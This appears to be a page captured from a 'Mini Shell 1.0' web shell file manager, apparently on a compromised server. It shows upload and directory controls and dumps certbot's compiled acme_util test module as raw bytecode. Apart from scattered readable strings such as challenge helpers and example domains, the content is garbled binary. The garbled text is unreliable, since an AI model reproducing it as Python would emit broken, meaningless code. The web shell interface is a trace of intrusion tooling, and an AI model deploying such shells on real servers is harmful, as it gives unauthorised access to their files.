HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/certbot/tests/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/certbot/tests/__pycache__/acme_util.cpython-311.pyc
�

E��c�
�
��dZddlZddlmZddlmZddlmZddlZddlm	Z	ddlm
Z
ddlmZdd	l
mZej�ejd
����Zejd
��Ze	jd���Ze	jd
���Ze	jd���ZeegZde	jde
jde
jfd�Zeee
j��Zeee
j��Zeee
j��ZeegZ ej!eed��Z"ej!eed��Z#ej!eed��Z$e"e#gZ%de
jde&dee	jdee
jde
j'f
d�Z(dS)zACME utilities for testing.�N)�Any)�Dict)�Iterable)�
challenges)�messages)�auth_handler)�utilzrsa512_key.pems+evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ+PCt92wr+oA)�tokens 17817c66b60ce2e4012dfad92657527as cafecafecafecafecafecafe0feedbac�chall�status�returnc���||jdz|d�}|tjkr3|�dtj���i��tjdi|��S)z$Return ChallengeBody from Challenge.�_uri)r�urir�	validated�)�typr�STATUS_VALID�update�datetime�now�
ChallengeBody)rr�kwargss   �9/usr/lib/python3/dist-packages/certbot/tests/acme_util.py�chall_to_challbrsm����y�6�!����F���&�&�&��
�
�{�H�$5�$9�$9�$;�$;�<�=�=�=��!�+�+�F�+�+�+�zexample.comzexample.orgzesimerkki.example.org�authz_status�domain�challs�statusesc���td�t||��D����}tjtj|���|d�}|tjkrK|�|tj���tj	d���zd���n|�d|i��tj
dtjd
i|���	��S)z�Generate an authorization resource.

    :param authz_status: Status object
    :type authz_status: :class:`acme.messages.Status`
    :param list challs: Challenge objects
    :param list statuses: status of each challenge object

    c3�<K�|]\}}t||��V��dS)N)r)�.0rrs   r�	<genexpr>zgen_authzr.<locals>.<genexpr>BsD�������E�6�	��v�&�&������r)r�value)�
identifierr�)�days)r�expiresrz%https://trusted.ca/new-authz-resource)r�bodyr)�tuple�zipr�
Identifier�IDENTIFIER_FQDNrrrr�	timedelta�AuthorizationResource�
Authorization)rrrr �challbs�authz_kwargss      r�
gen_authzrr48s����� ���2�2������G�
�)��(��8�8�8��$�$�L�
�x�,�,�,����"��(�,�,�.�.��1C��1L�1L�1L�L�
�
�	�	�	�	�
	����l�
�	�	�	��)�3�
�
#�
3�
3�l�
3�
3����r))�__doc__r�typingrrr�josepy�jose�acmerr�certbot._internalr�
certbot.testsr	�JWK�load�load_vector�load_rsa_private_key�KEY�HTTP01�DNS01�DNS01_2�
CHALLENGES�	Challenge�Statusrr�STATUS_PENDING�HTTP01_P�DNS01_P�	DNS01_P_2�CHALLENGES_P�challb_to_achall�HTTP01_A�DNS01_A�	DNS01_A_2�ACHALLENGES�strr0r4rrr�<module>rRsE��!�!���������������������������������������*�*�*�*�*�*�������
�h�m�m�$�D�$�%5�6�6�7�7���d�� 0�1�1��
��	�
8�
:�
:�
:���
��B�C�C�C��
�*�
�!D�
E�
E�
E���e�_�
�,�:�/�,���,�X�Mc�,�,�,�,��?�6�8�#:�;�;��
�/�%��!8�
9�
9���O�G�X�%<�=�=�	��'�"��)�<�(��3�
�F�F��
'�,�
'���m�
D�
D��)�L�)�)�S�:Q�R�R�	���!�� �X�_� �c� �8�J�L`�Ca� �!�(�/�2� �7?�7U� � � � � � r